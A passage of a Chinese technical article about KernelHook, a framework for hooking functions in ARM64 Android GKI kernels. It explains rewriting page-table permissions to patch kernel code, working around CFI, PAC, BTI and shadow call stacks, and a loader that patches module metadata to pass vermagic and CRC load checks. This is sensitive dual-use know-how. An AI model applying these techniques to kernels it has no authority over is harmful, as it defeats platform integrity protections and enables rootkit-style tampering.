none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">代码写入流程：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">遍历页表，找到目标虚拟地址的 PTE</span></p></li><li style=""><p><span leaf="">清除 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PTE_RDONLY</span></code><span leaf="">，设置 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PTE_DBM</span></code><span leaf="">，使页面可写</span></p></li><li style=""><p><span leaf="">TLBI 刷新 TLB</span></p></li><li style=""><p><span leaf="">写入指令</span></p></li><li style=""><p><span leaf="">恢复 PTE 原始权限</span></p></li><li style=""><p><span leaf="">IC IVAU 刷新指令缓存</span></p></li></ol><p data-line="445" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms</span></code><span leaf=""> 找到了 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_rw</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_ro</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">set_memory_x</span></code><span leaf="">，KernelHook 优先使用这些 API。回退到页表直接操作仅在上述函数不可用时发生。</span></p><h2 data-line="453" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6 安全机制适配</span></h2><p data-line="449" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">ARM64 和 GKI 内核引入了多层安全机制。KernelHook 需逐一适配，否则 Hook 操作会触发 panic。</span></p><h3 data-line="457" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.1 CFI</span></h3><p data-line="453" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">安卓 GKI 内核有两代 CFI：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">Shadow CFI</span></strong><p><span leaf="">（GKI 5.4 ~ 5.15）：编译器在间接调用前插入运行时类型检查。Hook 本身不直接受影响，但替换函数的类型签名须与目标一致。</span></p></li><li style=""><strong><span leaf="">kCFI</span></strong><p><span leaf="">（GKI 6.1+）：函数入口前 4 字节是类型哈希。间接调用前检查哈希匹配，不匹配则 panic。</span></p></li></ul><p data-line="458" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">kCFI 的适配策略已在第 3.3 节说明。</span></p><h3 data-line="466" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.2 PAC 与 BTI</span></h3><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">PAC</span></strong><p><span leaf="">（Pointer Authentication，ARMv8.3+）：入口处 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PACIASP</span></code><span leaf=""> 对返回地址签名，返回时 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AUTIASP</span></code><span leaf=""> 验证。中转桩自行配对 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">STP/LDP X29, X30</span></code><span leaf="">，不破坏签名链。</span></p></li><li style=""><strong><span leaf="">BTI</span></strong><p><span leaf="">（Branch Target Identification，ARMv8.5+）：间接分支目标须为 BTI 指令。KernelHook 在跳板入口、重定位代码入口和中转桩入口均放置 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">BTI JC</span></code><span leaf="">。</span></p></li></ul><h3 data-line="471" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6.3 SCS</span></h3><p data-line="467" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">Shadow Call Stack</span></strong><span leaf="">（影子调用栈）：GKI 内核在专用栈中保存返回地址副本，返回时比对。KernelHook 的中转桩通过标准 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">STP/LDP X29, X30</span></code><span leaf=""> 保存恢复帧，不破坏影子栈一致性。</span></p><h2 data-line="477" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7 构建与加载</span></h2><h3 data-line="479" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7.1 三种模式</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">模式</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">依赖</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">适用场景</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">A：Freestanding</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">无内核头文件</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">一个 .ko 适配多个内核版本</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">B：SDK</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">预加载的 kernelhook.ko</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">多业务模块共享 Hook 基础设施</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">C：Kbuild</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">完整内核源码 / 头文件</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">有目标内核源码的开发环境</span></p></td></tr></tbody></table><p data-line="479" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">Freestanding 构建</span></strong><span leaf="">（CMake + NDK）：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="481" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 122, 204);"><span leaf="">mkdir</span></span><span leaf=""> build &amp;&amp; </span><span style="color: rgb(0, 122, 204);"><span leaf="">cd</span></span><span leaf=""> build</span><br/><span leaf="">cmake -DCMAKE_TOOLCHAIN_FILE=</span><span style="color: rgb(0, 128, 0);"><span leaf="">$NDK</span></span><span leaf="">/build/cmake/android.toolchain.cmake \</span><br/><span leaf="">      -DANDROID_ABI=arm64-v8a \</span><br/><span leaf="">      -DANDROID_PLATFORM=android-30 \</span><br/><span leaf="">      ..</span><br/><span leaf="">make</span></code></pre><p data-line="490" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><strong><span leaf="">Kbuild 构建</span></strong><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="492" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- \</span><br/><span leaf="">     KERNEL_DIR=/path/to/kernel/source</span></code></pre><h3 data-line="505" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">7.2 kmod_loader</span></h3><p data-line="499" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">安卓内核对第三方 .ko 有严格的加载校验：vermagic 须匹配、导入符号 CRC 须一致、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">struct module</span></code><span leaf=""> 布局须正确。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kmod_loader</span></code><span leaf=""> 是用户态 ELF 修补工具，在加载前自动解决这些问题。</span></p><p data-line="501" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它的值解析采用策略链架构——每个需要解析的值有独立的策略链，按优先级依次尝试：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="503" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">cli_override             &lt;- 命令行直接指定</span><br/><span leaf="">  -&gt; probe_loaded_module   &lt;- 从已加载模块提取</span><br/><span leaf="">  -&gt; probe_ondisk_module   &lt;- 从磁盘 .ko 提取</span><br/><span leaf="">  -&gt; probe_procfs          &lt;- 从 /proc 提取</span><br/><span leaf="">  -&gt; config_explicit       &lt;- 精确设备匹配（内置设备表）</span><br/><span leaf="">  -&gt; config_automatch      &lt;- 自动设备匹配</span><br/><span leaf="">  -&gt; config_fuzzy          &lt;- 模糊匹配</span><br/><span leaf="">  -&gt; probe_disasm          &lt;- 反汇编 /proc/kcore</span><br/><span leaf="">  -&gt; probe_binary_search   &lt;- 内存二进制搜索</span></code></pre><p data-line="515" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第一个成功返回的策略“获胜”，后续跳过。核心解析值：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">值</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">module_layout_crc</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">module_layout 的 CRC</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_printk_crc</span></code><p><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memcpy_crc</span></code><span leaf=""> / </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">memset_crc</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">常用导入符号 CRC</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vermagic</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 